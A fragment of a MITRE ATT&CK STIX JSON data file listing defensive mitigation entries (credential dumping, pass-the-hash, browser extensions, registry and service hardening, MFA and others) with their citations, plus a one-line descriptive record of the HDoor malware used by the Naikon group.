                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "name": "Graphical User Interface Mitigation",
            "description": "Prevent adversaries from gaining access to credentials through Credential Access that can be used to log into remote desktop sessions on systems.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to log into remote interactive sessions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) and Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "url": "https://attack.mitre.org/mitigations/T1096",
                    "external_id": "T1096"
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                {
                    "source_name": "Microsoft ADS Mar 2014",
                    "description": "Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.",
                    "url": "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/"
                },
                {
                    "source_name": "Symantec ADS May 2009",
                    "description": "Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.",
                    "url": "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore"
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                },
                {
                    "source_name": "InsiderThreat NTFS EA Oct 2017",
                    "description": "Sander, J. (2017, October 12). Attack Step 3: Persistence with NTFS Extended Attributes \u2013 File System Attacks. Retrieved March 21, 2018.",
                    "url": "https://blog.stealthbits.com/attack-step-3-persistence-ntfs-extended-attributes-file-system-attacks"
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            "name": "NTFS File Attributes Mitigation",
            "description": "It may be difficult or inadvisable to block access to EA and ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Symantec ADS May 2009) Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to hide information in EA and ADSs by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nConsider adjusting read and write permissions for NTFS EA, though this should be tested to ensure routine OS operations are not impeded. (Citation: InsiderThreat NTFS EA Oct 2017)",
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            "name": "Spearphishing Link Mitigation",
            "description": "Because this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. Determine if certain websites that can be used for spearphishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk. Other mitigations can take place as [User Execution](https://attack.mitre.org/techniques/T1204) occurs.",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "Microsoft Securing Privileged Access",
                    "description": "Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.",
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                    "source_name": "Microsoft LSA",
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "Corio 2008",
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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                    "source_name": "TechNet Credential Guard",
                    "description": "Lich, B. (2016, May 31). Protect derived domain credentials with Credential Guard. Retrieved June 1, 2016.",
                    "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard"
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                {
                    "source_name": "GitHub SHB Credential Guard",
                    "description": "NSA IAD. (2017, April 20). Secure Host Baseline - Credential Guard. Retrieved April 25, 2017.",
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                {
                    "source_name": "AdSecurity DCSync Sept 2015",
                    "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.",
                    "url": "https://adsecurity.org/?p=1729"
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                {
                    "source_name": "Microsoft Replication ACL",
                    "description": "Microsoft. (n.d.). How to grant the \"Replicating Directory Changes\" permission for the Microsoft Metadirectory Services ADMA service account. Retrieved December 4, 2017.",
                    "url": "https://support.microsoft.com/help/303972/how-to-grant-the-replicating-directory-changes-permission-for-the-micr"
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                    "source_name": "Microsoft Disable NTLM Nov 2012",
                    "description": "Microsoft. (2012, November 29). Using security policies to restrict NTLM traffic. Retrieved December 4, 2017.",
                    "url": "https://technet.microsoft.com/library/jj865668.aspx"
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            "name": "Credential Dumping Mitigation",
            "description": "### Windows\nMonitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using [Valid Accounts](https://attack.mitre.org/techniques/T1078) if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)\n\nOn Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA)\n\nIdentify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nWith Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)\n\nManage the access control list for \u201cReplicating Directory Changes\u201d and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL)\n\nConsider disabling or restricting NTLM traffic. (Citation: Microsoft Disable NTLM Nov 2012)\n\n### Linux\nScraping the passwords from memory requires root privileges. Follow best practices in restricting access to escalated privileges to avoid hostile programs from accessing such sensitive regions of memory.",
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            "description": "Properly configure firewalls, application firewalls, and proxies to limit outgoing traffic to sites and services used by remote access tools.\n\nNetwork intrusion detection and prevention systems that use network signatures may be able to prevent traffic to these services as well.\n\nUse application whitelisting to mitigate use of and installation of unapproved software.",
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            "description": "Multi-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access. These factors typically include:\n\n- *Something you know*: Passwords, PINs.\n- *Something you have*: Physical tokens, smartphone authenticator apps.\n- *Something you are*: Biometric data such as fingerprints, facial recognition, or retinal scans.\n\nImplementing MFA across all critical systems and services ensures robust protection against account takeover and unauthorized access. This mitigation can be implemented through the following measures:\n\nIdentity and Access Management (IAM):\n\n- Use IAM solutions like Azure Active Directory, Okta, or AWS IAM to enforce MFA policies for all user logins, especially for privileged roles.\n- Enable conditional access policies to enforce MFA for risky sign-ins (e.g., unfamiliar devices, geolocations).\n\nAuthentication Tools and Methods:\n\n- Use authenticator applications such as Google Authenticator, Microsoft Authenticator, or Authy for time-based one-time passwords (TOTP).\n- Deploy hardware-based tokens like YubiKey, RSA SecurID, or smart cards for additional security.\n- Enforce biometric authentication for compatible devices and applications.\n\nSecure Legacy Systems:\n\n- Integrate MFA solutions with older systems using third-party tools like Duo Security or Thales SafeNet.\n- Enable RADIUS/NPS servers to facilitate MFA for VPNs, RDP, and other network logins.\n\nMonitoring and Alerting:\n\n- Use SIEM tools to monitor failed MFA attempts, login anomalies, or brute-force attempts against MFA systems.\n- Implement alerts for suspicious MFA activities, such as repeated failed codes or new device registrations.\n\nTraining and Policy Enforcement:\n\n- Educate employees on the importance of MFA and secure authenticator usage.\n- Enforce policies that require MFA on all critical systems, especially for remote access, privileged accounts, and cloud applications.",
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                {
                    "source_name": "Technospot Chrome Extensions GP",
                    "description": "Mohta, A. (n.d.). Block Chrome Extensions using Google Chrome Group Policy Settings. Retrieved January 10, 2018.",
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            "name": "Browser Extensions Mitigation",
            "description": "Only install browser extensions from trusted sources that can be verified. Ensure extensions that are installed are the intended ones as many malicious extensions will masquerade as legitimate ones.\n\nBrowser extensions for some browsers can be controlled through Group Policy. Set a browser extension white or black list as appropriate for your security policy. (Citation: Technospot Chrome Extensions GP)\n\nChange settings to prevent the browser from installing extensions without sufficient permissions.\n\nClose out all browser sessions when finished using them.",
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            "description": "Software configuration refers to making security-focused adjustments to the settings of applications, middleware, databases, or other software to mitigate potential threats. These changes help reduce the attack surface, enforce best practices, and protect sensitive data. This mitigation can be implemented through the following measures:\n\nConduct a Security Review of Application Settings:\n\n- Review the software documentation to identify recommended security configurations.\n- Compare default settings against organizational policies and compliance requirements.\n\nImplement Access Controls and Permissions:\n\n- Restrict access to sensitive features or data within the software.\n- Enforce least privilege principles for all roles and accounts interacting with the software.\n\nEnable Logging and Monitoring:\n\n- Configure detailed logging for key application events such as authentication failures, configuration changes, or unusual activity.\n- Integrate logs with a centralized monitoring solution, such as a SIEM.\n\nUpdate and Patch Software Regularly:\n\n- Ensure the software is kept up-to-date with the latest security patches to address known vulnerabilities.\n- Use automated patch management tools to streamline the update process.\n\nDisable Unnecessary Features or Services:\n\n- Turn off unused functionality or components that could introduce vulnerabilities, such as debugging interfaces or deprecated APIs.\n\nTest Configuration Changes:\n\n- Perform configuration changes in a staging environment before applying them in production.\n- Conduct regular audits to ensure that settings remain aligned with security policies.\n\n*Tools for Implementation*\n\nConfiguration Management Tools:\n\n- Ansible: Automates configuration changes across multiple applications and environments.\n- Chef: Ensures consistent application settings through code-based configuration management.\n- Puppet: Automates software configurations and audits changes for compliance.\n\nSecurity Benchmarking Tools:\n\n- CIS-CAT: Provides benchmarks and audits for secure software configurations.\n- Aqua Security Trivy: Scans containerized applications for configuration issues.\n\nVulnerability Management Solutions:\n\n- Nessus: Identifies misconfigurations and suggests corrective actions.\n\nLogging and Monitoring Tools:\n\n- Splunk: Aggregates and analyzes application logs to detect suspicious activity.",
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            "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of AD design features. For example, mitigating specific AD API calls will likely have unintended side effects, such as preventing DC replication from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.",
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                    "url": "https://attack.mitre.org/mitigations/T1050",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only  authorized administrators can create new services.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to create services by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "Microsoft Disable Autorun",
                    "description": "Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016.",
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                    "source_name": "Microsoft Trust Considerations Nov 2014",
                    "description": "Microsoft. (2014, November 19). Security Considerations for Trusts. Retrieved November 30, 2017.",
                    "url": "https://technet.microsoft.com/library/cc755321.aspx"
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                    "source_name": "Microsoft SID Filtering Quarantining Jan 2009",
                    "description": "Microsoft. (n.d.). Configuring SID Filter Quarantining on External Trusts. Retrieved November 30, 2017.",
                    "url": "https://technet.microsoft.com/library/cc794757.aspx"
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                    "source_name": "Microsoft Netdom Trust Sept 2012",
                    "description": "Microsoft. (2012, September 11). Command-Line Reference - Netdom Trust. Retrieved November 30, 2017.",
                    "url": "https://technet.microsoft.com/library/cc835085.aspx"
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                    "source_name": "AdSecurity Kerberos GT Aug 2015",
                    "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.",
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                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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            "name": "Data Transfer Size Limits Mitigation",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
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                    "source_name": "Ready.gov IT DRP",
                    "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "description": "Consider technical controls to prevent the disabling of services or deletion of files involved in system recovery. \n\nConsider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.\n\nIdentify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)",
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                    "source_name": "US-CERT Alert TA15-314A Web Shells",
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            "description": "Ensure that externally facing Web servers are patched regularly to prevent adversary access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages. \n\nAudit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through Credential Access and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network. (Citation: US-CERT Alert TA15-314A Web Shells)",
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            "name": "Pass the Hash Mitigation",
            "description": "Monitor systems and domain logs for unusual credential logon activity. Prevent access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. \n\nEnable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located <code>HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy</code> Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons. (Citation: GitHub IAD Secure Host Baseline UAC Filtering)\n\nLimit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.",
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "Microsoft Securing Privileged Access",
                    "description": "Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.",
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            "name": "Service Execution Mitigation",
            "description": "Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level. Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to interact with Windows services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "MSDN File Associations",
                    "description": "Microsoft. (n.d.). Retrieved July 26, 2016.",
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                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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            "name": "Change Default File Association Mitigation",
            "description": "Direct mitigation of this technique is not recommended since it is a legitimate function that can be performed by users for software preferences. Follow Microsoft's best practices for file associations. (Citation: MSDN File Associations)\n\nIdentify and block potentially malicious software that may be executed by this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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                    "source_name": "Ready.gov IT DRP",
                    "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.",
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            "name": "InstallUtil Mitigation",
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                    "source_name": "Microsoft ETW May 2018",
                    "description": "Microsoft. (2018, May 30). Event Tracing. Retrieved September 6, 2018.",
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            "description": "Ensure event tracers/forwarders (Citation: Microsoft ETW May 2018), firewall policies, and other associated mechanisms are secured with appropriate permissions and access controls. Consider automatically relaunching forwarding mechanisms at recurring intervals (ex: temporal, on-logon, etc.) as well as applying appropriate change management to firewall rules and other related system configurations.",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "source_name": "Windows Commands JPCERT",
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                    "source_name": "NSA MS AppLocker",
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            "name": "Modify Registry Mitigation",
            "description": "Misconfiguration of permissions in the Registry may lead to opportunities for an adversary to execute code, like through [Service Registry Permissions Weakness](https://attack.mitre.org/techniques/T1058). Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "SpectorOps Subverting Trust Sept 2017",
                    "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.",
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            "name": "SIP and Trust Provider Hijacking Mitigation",
            "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Also ensure that these values contain their full path to prevent [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nConsider removing unnecessary and/or stale SIPs. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nRestrict storage and execution of SIP DLLs to protected directories, such as C:\\Windows, rather than user directories.\n\nEnable whitelisting solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented.",
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                    "source_name": "Microsoft Disable Autorun",
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                    "url": "https://support.microsoft.com/en-us/kb/967715"
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                    "source_name": "TechNet Removable Media Control",
                    "description": "Microsoft. (2007, August 31). https://technet.microsoft.com/en-us/library/cc771759(v=ws.10).aspx. Retrieved April 20, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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            "name": "Replication Through Removable Media Mitigation",
            "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if it is not required for business operations. (Citation: TechNet Removable Media Control)\n\nIdentify potentially malicious software that may be used to infect removable media or may result from tainted removable media, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
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                    "source_name": "Windows Blogs Microsoft Edge Sandbox",
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                    "source_name": "Ars Technica Pwn2Own 2017 VM Escape",
                    "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.",
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                    "source_name": "TechNet Moving Beyond EMET",
                    "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.",
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                    "source_name": "NSA MS AppLocker",
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            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about processes, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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            "modified": "2025-04-18T18:00:21.544Z",
            "name": "Hidden Window Mitigation",
            "description": "Whitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.",
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            "x_mitre_domains": [
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.2.0"
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            "type": "course-of-action",
            "spec_version": "2.1",
            "id": "course-of-action--fcbe8424-eb3e-4794-b76d-e743f5a49b8b",
            "created": "2018-10-17T00:14:20.652Z",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1132",
                    "external_id": "T1132"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "modified": "2025-04-18T18:00:21.711Z",
            "name": "Data Encoding Mitigation",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
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            "x_mitre_deprecated": true,
            "x_mitre_domains": [
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.2.0"
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        {
            "type": "course-of-action",
            "spec_version": "2.1",
            "id": "course-of-action--fe0aeb41-1a51-4152-8467-628256ea6adf",
            "created": "2018-10-17T00:14:20.652Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1031",
                    "external_id": "T1031"
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                {
                    "source_name": "Powersploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "url": "https://github.com/mattifestation/PowerSploit"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
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                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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            "modified": "2025-04-18T18:00:21.880Z",
            "name": "Modify Existing Service Mitigation",
            "description": "Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Toolkits like the PowerSploit framework contain the PowerUp modules that can be used to explore systems for Privilege Escalation weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.",
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            "x_mitre_domains": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/M1041",
                    "external_id": "M1041"
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            "created": "2018-10-17T00:14:20.652Z",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1122",
                    "external_id": "T1122"
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
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                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "modified": "2025-04-18T18:00:22.084Z",
            "name": "Component Object Model Hijacking Mitigation",
            "description": "Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.\n\nInstead, identify and block potentially malicious software that may execute, or be executed by, this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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            "x_mitre_deprecated": true,
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            "id": "malware--007b44b6-e4c5-480b-b5b9-56f2081b1b7b",
            "created": "2017-05-31T21:32:40.801Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/software/S0061",
                    "external_id": "S0061"
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                {
                    "source_name": "Baumgartner Naikon 2015",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"
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            "modified": "2025-04-16T20:37:51.573Z",
            "name": "HDoor",
            "description": "[HDoor](https://attack.mitre.org/software/S0061) is malware that has been customized and used by the [Naikon](https://attack.mitre.org/groups/G0019) group. (Citation: Baumgartner Naikon 2015)",
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            "x_mitre_domains": [
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            "modified": "2024-04-10T22:28:21.746Z",
